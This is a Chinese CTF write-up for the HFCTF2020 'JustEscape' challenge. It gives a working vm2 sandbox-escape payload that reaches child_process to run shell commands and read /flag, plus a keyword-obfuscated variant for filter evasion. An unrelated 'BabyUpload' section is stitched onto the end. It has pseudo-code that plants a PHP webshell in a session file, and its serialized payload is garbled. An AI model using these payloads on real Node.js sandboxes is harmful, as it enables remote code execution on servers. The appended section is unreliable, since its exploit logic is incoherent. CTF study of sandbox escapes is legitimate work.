[HFCTF2020]JustEscape

本文探讨了如何通过Node.js中VM模块的异常处理进行代码注入,展示了如何利用VM逃逸技术,并提供了相应的防御策略。重点在于理解错误堆栈和代码执行的原理,以及如何避免此类安全问题。

考点 :nodejs vm逃逸

没学过先做个记录
在这里插入图片描述
wappalyzer 检测出 php 和 nodejs,居然都自爆不是PHP了,那就试试是不是 nodejs
在这里插入图片描述
让他异常 /run.php?code=Error().stack

Error
    at vm.js:1:1
    at Script.runInContext (vm.js:131:20)
    at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
    at /app/server.js:51:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

VM逃逸 payload

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

在这里插入图片描述
关键字都做了格式替换,也不懂是换成了什么,害我好菜

prototyp  => [`${`${`prototyp`}e`}`]
get_process => [`${`${`get_proces`}s`}`]
require => [`${`${`requir`}e`}`]
child_process => `${`${`child_proces`}s`}`
execSync => [`${`${`exe`}cSync`}`]

大概这么个意思

### HFCTF2020 BabyUpload Challenge Writeup 对于HFCTF2020中的BabyUpload挑战,该题目设计围绕着Web应用安全展开。由于此题不存在任何会话(session)复制的风险点,攻击者可以考虑通过上传特定构造的`sess_xxxxxxxx`文件来覆盖已有的会话文件[^2]。 #### 利用PHP Session机制实现漏洞利用 在PHP环境中,当应用程序允许用户控制部分输入并将其存储于session数据中时,则可能存在安全隐患。如果能够找到一种方法绕过常规的文件上传限制并将恶意创建的`.php`脚本作为合法的session文件提交给服务器端处理路径下,那么就有可能执行任意代码。 具体到BabyUpload这个案例里: - 攻击面在于可被操控的文件名以及内容; - 关键在于理解如何巧妙地构造payload使得其既能满足服务端验证逻辑又能成功触发预期之外的行为; 为了达成目标,参与者通常需要深入研究目标平台使用的框架版本及其默认配置细节,寻找可能存在的弱点或未公开特性加以利用。 ```python # Python伪代码展示概念性的Payload构建过程 import base64 def create_malicious_session_data(): payload = "<?php system($_GET['cmd']); ?>" encoded_payload = base64.b64encode(payload.encode()).decode() session_content = f"_SESSION[a]=O:8:\"stdClass\":1:{{s:4:\"data\";C:7:\"Closure\":35:{{ s:7:\"handler\";a:3:{{i:0;i:1;i:1;s:9:\"eval(base64_decode('{encoded_payload}'));\";i:2;i:3;}} }}}}" with open('sess_babyupload', 'w') as file: file.write(session_content) create_malicious_session_data() ``` 上述Python代码片段仅用于说明目的,并不构成实际可用的exploit工具。它展示了怎样编码一个简单的反序列化对象注入payload,其中包含了base64加密后的命令执行字符串。 一旦这样的特殊格式化的session文件被放置到了适当的位置并且由易受攻击的应用程序加载之后,就可以远程指令服务器运行指定的操作系统级命令了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值